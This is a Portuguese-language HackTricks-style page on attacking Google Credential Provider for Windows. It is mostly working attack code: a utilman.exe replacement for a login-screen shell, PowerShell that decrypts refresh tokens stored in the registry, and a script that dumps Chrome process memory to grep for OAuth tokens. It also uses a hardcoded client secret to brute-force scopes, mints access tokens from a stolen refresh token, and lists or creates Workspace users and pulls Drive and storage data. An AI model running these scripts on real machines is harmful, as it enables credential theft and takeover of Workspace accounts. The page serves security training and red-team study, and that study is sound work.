GCPW - Google Credential Provider for Windows

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

InformaçÔes Båsicas

Este Ă© o login Ășnico que o Google Workspaces fornece para que os usuĂĄrios possam fazer login em seus PCs com Windows usando suas credenciais do Workspace. AlĂ©m disso, isso armazenarĂĄ tokens para acessar o Google Workspace em alguns lugares no PC.

Tip

Note que Winpeas é capaz de detectar GCPW, obter informaçÔes sobre a configuração e até mesmo tokens.

GCPW - MitM

Quando um usuårio acessa um PC com Windows sincronizado com o Google Workspace via GCPW, ele precisarå completar um formulårio de login comum. Este formulårio de login retornarå um código OAuth que o PC trocarå pelo token de atualização em uma solicitação como:

POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]

scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome

Note

Foi possĂ­vel realizar um MitM instalando o Proxifier no PC, sobrescrevendo o binĂĄrio utilman.exe com um cmd.exe e executando os recursos de acessibilidade na pĂĄgina de login do Windows, que executarĂĄ um CMD a partir do qual vocĂȘ pode iniciar e configurar o Proxifier.
NĂŁo se esqueça de bloquear o trĂĄfego QUICK UDP no Proxifier para que ele faça downgrade para comunicação TCP e vocĂȘ possa vĂȘ-lo.

TambĂ©m configure em “Serviced and other users” ambas as opçÔes e instale o certificado CA do Burp no Windows.

Além disso, adicionando as chaves enable_verbose_logging = 1 e log_file_path = C:\Public\gcpw.log em HKLM:\SOFTWARE\Google\GCPW, é possível fazer com que ele armazene alguns logs.

GCPW - ImpressĂŁo Digital

É possível verificar se o GCPW está instalado em um dispositivo verificando se o seguinte processo existe ou se as seguintes chaves de registro existem:

# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}

# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}

# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}

Em HKCU:\SOFTWARE\Google\Accounts Ă© possĂ­vel acessar o e-mail do usuĂĄrio e o refresh token criptografado se o usuĂĄrio fez login recentemente.

Em HKLM:\SOFTWARE\Google\GCPW\Users Ă© possĂ­vel encontrar os domĂ­nios que estĂŁo autorizados a fazer login na chave domains_allowed e, nas subchaves, Ă© possĂ­vel encontrar informaçÔes sobre o usuĂĄrio, como e-mail, foto, nome de usuĂĄrio, duraçÔes de token, identificador de token


Note

O identificador de token é um token que começa com eth. e do qual pode ser extraída alguma informação com uma solicitação como:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
  -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Exemplo de resposta
{
  "audience": "77185425430.apps.googleusercontent.com",
  "scope": "https://www.google.com/accounts/OAuthLogin",
  "expires_in": 12880152
}

Também é possível encontrar o identificador de token de um token de acesso com uma solicitação como:

curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
  -d 'access_token=<access token>'
# Exemplo de resposta
{
  "issued_to": "77185425430.apps.googleusercontent.com",
  "audience": "77185425430.apps.googleusercontent.com",
  "scope": "https://www.google.com/accounts/OAuthLogin",
  "expires_in": 1327,
  "access_type": "offline",
  "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}

Até onde sei, não é possível obter um refresh token ou access token a partir do identificador de token.

AlĂ©m disso, o arquivo C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse Ă© um json que contĂ©m as informaçÔes de diferentes configuraçÔes como enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (se vĂĄrios usuĂĄrios do Workspace podem fazer login no computador) e validityPeriodDays (nĂșmero de dias que um usuĂĄrio nĂŁo precisa se reautenticar diretamente com o Google).

GCPW - Obter Tokens

GCPW - Tokens de Atualização do Registro

Dentro do registro HKCU:\SOFTWARE\Google\Accounts pode ser possível encontrar algumas contas com o refresh_token criptografado dentro. O método ProtectedData.Unprotect pode facilmente descriptografå-lo.

Obter HKCU:\SOFTWARE\Google\Accounts dados e descriptografar refresh_tokens ```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security

Base registry path

$baseKey = “HKCU:\SOFTWARE\Google\Accounts”

Function to search and decrypt refresh_token values

function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )

Get all values within the current key

$registryKey = Get-Item -Path $keyPath $foundToken = $false

Loop through properties to find refresh_token

foreach ($property in $registryKey.Property) { if ($property -eq “refresh_token”) { $foundToken = $true try {

Get the raw bytes of the refresh_token from the registry

$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property

Decrypt the bytes using ProtectedData.Unprotect

$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)

Write-Output “Path: $keyPath” Write-Output “Decrypted refresh_token: $decryptedToken” Write-Output “—————————–” } catch { Write-Output “Path: $keyPath” Write-Output “Failed to decrypt refresh_token: $($_.Exception.Message)” Write-Output “—————————–” } } }

Recursively process all subkeys

Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }

Start the search from the base key

Get-RegistryKeysAndDecryptTokens -keyPath $baseKey

</details>

Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI

Conforme explicado em [**este vĂ­deo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), se vocĂȘ nĂŁo encontrar o token no registro, Ă© possĂ­vel modificar o valor (ou deletar) de **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** e na prĂłxima vez que o usuĂĄrio acessar o computador, ele precisarĂĄ fazer login novamente e o **token serĂĄ armazenado no registro anterior**.

### GCPW - Tokens de Atualização de Disco

O arquivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** armazena a chave para descriptografar os **`refresh_tokens`** localizados dentro dos **perfis do Google Chrome** do usuĂĄrio, como:

- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`

É possível encontrar algum **código C#** acessando esses tokens de forma descriptografada em [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).

Além disso, a criptografia pode ser encontrada neste código: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)

Pode-se observar que AESGCM é utilizado, o token criptografado começa com uma **versão** (**`v10`** neste momento), depois tem [**12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), e então tem o **texto cifrado** com um **mac final de 16B**.

### GCPW - Extraindo tokens da memĂłria de processos

O seguinte script pode ser usado para **extrair** cada processo do **Chrome** usando `procdump`, extrair as **strings** e então **procurar** por strings relacionadas a **tokens de acesso e atualização**. Se o Chrome estiver conectado a algum site do Google, algum **processo estarå armazenando tokens de atualização e/ou acesso na memória!**

<details>

<summary>Extrair processos do Chrome e procurar tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

Eu tentei o mesmo com gcpw_extension.exe, mas ele nĂŁo encontrou nenhum token.

Por algum motivo, alguns tokens de acesso extraĂ­dos nĂŁo serĂŁo vĂĄlidos (embora alguns sejam). Eu tentei o seguinte script para remover caracteres um por um para tentar obter o token vĂĄlido do dump. Nunca me ajudou a encontrar um vĂĄlido, mas pode ajudar, eu acho:

Verificar token de acesso removendo caracteres um por um ```bash #!/bin/bash

Define the initial access token

access_token=“ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277”

Define the URL for the request

url=“https://www.googleapis.com/oauth2/v1/tokeninfo”

Loop until the token is 20 characters or the response doesn’t contain “error_description”

while [ ${#access_token} -gt 20 ]; do

Make the request and capture the response

response=$(curl -s -H “Content-Type: application/x-www-form-urlencoded” -d “access_token=$access_token” $url)

Check if the response contains “error_description”

if [[ ! “$response” =~ “error_description” ]]; then echo “Success: Token is valid” echo “Final token: $access_token” echo “Response: $response” exit 0 fi

Remove the last character from the token

access_token=${access_token:0:-1}

echo “Token length: ${#access_token}” done

echo “Error: Token invalid or too short”

</details>

### GCPW - Gerando tokens de acesso a partir de tokens de atualização

Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCPW - Escopos

Note

Note que mesmo tendo um token de atualização, nĂŁo Ă© possĂ­vel solicitar qualquer escopo para o token de acesso, pois vocĂȘ sĂł pode solicitar os escopos suportados pela aplicação onde vocĂȘ estĂĄ gerando o token de acesso.

Além disso, o token de atualização não é vålido em todas as aplicaçÔes.

Por padrĂŁo, o GCPW nĂŁo terĂĄ acesso como o usuĂĄrio a todos os possĂ­veis escopos OAuth, entĂŁo usando o seguinte script podemos encontrar os escopos que podem ser usados com o refresh_token para gerar um access_token:

Script Bash para força bruta de escopos ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi done

echo “” echo “” echo “Valid scopes:” cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt

</details>

E este Ă© o resultado que obtive no momento da escrita:

<details>

<summary>Escopos forçados por força bruta</summary>

https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile

</details>

Além disso, verificando o código-fonte do Chromium, é possível [**encontrar este arquivo**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), que contém **outros escopos** que pode-se assumir que **não aparecem na lista previamente forçada**. Portanto, esses escopos extras podem ser assumidos:

<details>

<summary>Escopos extras</summary>

https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome

</details>

Observe que o mais interessante Ă© possivelmente:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";

No entanto, tentei usar esse escopo para acessar o gmail ou listar grupos e nĂŁo funcionou, entĂŁo nĂŁo sei quĂŁo Ăștil ainda Ă©.

Obtenha um token de acesso com todos esses escopos:

Script Bash para gerar token de acesso a partir de refresh_token com todos os escopos ```bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')

curl -s –data “client_id=77185425430.apps.googleusercontent.com”
–data “client_secret=OTJgUOQcT7lO7GsGZq2G4IlT”
–data “grant_type=refresh_token”
–data “refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI”
–data “scope=$scope”
https://www.googleapis.com/oauth2/v4/token

</details>

Alguns exemplos usando alguns desses escopos:

<details>

<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"

{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}
https://www.googleapis.com/auth/admin.directory.user ```bash # List users curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/admin/directory/v1/users?customer=&maxResults=100&orderBy=email"

Create user

curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/json”
-d ‘{ “primaryEmail”: “newuser@hdomain.com”, “name”: { “givenName”: “New”, “familyName”: “User” }, “password”: “UserPassword123”, “changePasswordAtNextLogin”: true }’
“https://www.googleapis.com/admin/directory/v1/users”

</details>

<details>

<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}

# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"

# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
https://www.googleapis.com/auth/devstorage.read_write ```bash # List buckets from a project curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b?project="

List objects in a bucket

curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b//o?maxResults=10&fields=items(id,name,size,updated)&orderBy=name”

Upload file to bucket

curl -X POST
-H “Authorization: Bearer $access_token”
-H “Content-Type: application/octet-stream”
–data-binary @path/to/yourfile.ext
“https://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>”

Download file from bucket

curl -X GET
-H “Authorization: Bearer $access_token”
“https://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media”
-o “DownloadedFileName.ext”

</details>

<details>

<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"

# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"

# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"

# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"

# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
["Alice Johnson", "28", "alice.johnson@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A2:C2?valueInputOption=USER_ENTERED"

# Append data
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"values": [
["Bob Williams", "35", "bob.williams@example.com"]
]
}' \
"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
https://www.googleapis.com/auth/ediscovery (Google Vault)

Google Workspace Vault é um complemento para o Google Workspace que fornece ferramentas para retenção de dados, pesquisa e exportação dos dados da sua organização armazenados nos serviços do Google Workspace, como Gmail, Drive, Chat e mais.

  • Um Caso no Google Workspace Vault Ă© um container que organiza e agrupa todas as informaçÔes relacionadas a um caso especĂ­fico, investigação ou questĂŁo legal. Ele serve como o hub central para gerenciar SuspensĂ”es, Pesquisas e ExportaçÔes relacionadas a essa questĂŁo particular.
